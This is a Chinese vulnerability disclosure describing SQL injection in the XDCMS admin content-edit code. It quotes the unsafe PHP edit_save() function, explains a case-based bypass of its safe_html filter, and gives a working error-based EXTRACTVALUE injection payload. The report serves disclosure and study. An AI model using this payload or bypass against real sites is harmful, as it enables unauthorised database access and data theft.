### 简要描述: Sql Injection ### 详细说明: 注入在XDCMS企业管理系统后台的内容编辑处,\system\modules\xdcms\content.php文件: 这次出在编辑处,用到的函数是edit_save() ``` public function edit_save(){ $title=safe_html($_POST['title']);//第一处注入title字段,safe_html为过滤规则集,可被大写绕过进行注入 $commend=intval($_POST['commend']); $username=safe_html($_POST['username']);//第二处注入username,大写可绕过过滤 $thumb=$_POST['thumb']; $keywords=safe_html($_POST['keywords']);//第三处注入,同上 $description=safe_html($_POST['description']);//第四处注入,同上 $inputtime=$_POST['inputtime']; $updatetime=strtotime($_POST['updatetime']); $url=$_POST['url'];//第五处注入,没有safe_html过滤。 $catid=intval($_POST['catid']); $id=intval($_POST['id']); $fields=$_POST['fields']; $style=$_POST['title_color']." ".$_POST['title_weight']; if(empty($title)||empty($catid)||empty($inputtime)){ showmsg(C('material_not_complete'),'-1'); } $model=modelname($catid); $model_content=get_content_table($model); if(empty($model)){ showmsg(C('error'),'-1'); } $table=$this->mysql->show_table(); //判断数据表是否存在...
### 简要描述: Sql Injection ### 详细说明: 注入在XDCMS企业管理系统后台的内容编辑处,\system\modules\xdcms\content.php文件: 这次出在编辑处,用到的函数是edit_save() ``` public function edit_save(){ $title=safe_html($_POST['title']);//第一处注入title字段,safe_html为过滤规则集,可被大写绕过进行注入 $commend=intval($_POST['commend']); $username=safe_html($_POST['username']);//第二处注入username,大写可绕过过滤 $thumb=$_POST['thumb']; $keywords=safe_html($_POST['keywords']);//第三处注入,同上 $description=safe_html($_POST['description']);//第四处注入,同上 $inputtime=$_POST['inputtime']; $updatetime=strtotime($_POST['updatetime']); $url=$_POST['url'];//第五处注入,没有safe_html过滤。 $catid=intval($_POST['catid']); $id=intval($_POST['id']); $fields=$_POST['fields']; $style=$_POST['title_color']." ".$_POST['title_weight']; if(empty($title)||empty($catid)||empty($inputtime)){ showmsg(C('material_not_complete'),'-1'); } $model=modelname($catid); $model_content=get_content_table($model); if(empty($model)){ showmsg(C('error'),'-1'); } $table=$this->mysql->show_table(); //判断数据表是否存在 if(!in_array(DB_PRE.$model,$table)){ showmsg(C('table_not_exist'),'-1'); } //下面是更新content的sql语句,会将上边5个注入字段带入更新 $sql="update ".DB_PRE.$model." set title='{$title}',commend='{$commend}',username='{$username}',thumb='{$thumb}',keywords='{$keywords}',description='{$description}',updatetime='{$updatetime}',url='{$url}',style='{$style}' where id='{$id}'"; $this->mysql->query($sql); ``` ### 漏洞证明: 1.以第一处注入为例,点击编辑: [<img src="https://images.seebug.org/upload/201402/181057167a765eb358e9e2d3e652732692e642d2.jpg" alt="xu.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/181057167a765eb358e9e2d3e652732692e642d2.jpg) 2.填写exp: ``` ' AND EXTRACTVALUE(7028,CONCAT(0x5c,0x7177786771,(SELECT (CASE WHEN (7028=7028) THEN 1 ELSE 0 END)),0x71706b6b71)) AND 'PAKz'='PAKz ``` [<img src="https://images.seebug.org/upload/201402/18105741ece99be893d532bfa83847cbf4e7a1fc.jpg" alt="xu2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/18105741ece99be893d532bfa83847cbf4e7a1fc.jpg) 3.得到的注入数据: [<img src="https://images.seebug.org/upload/201402/18105802956b89f545ceb5fcec7bce8f851a76d3.jpg" alt="xu1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/18105802956b89f545ceb5fcec7bce8f851a76d3.jpg)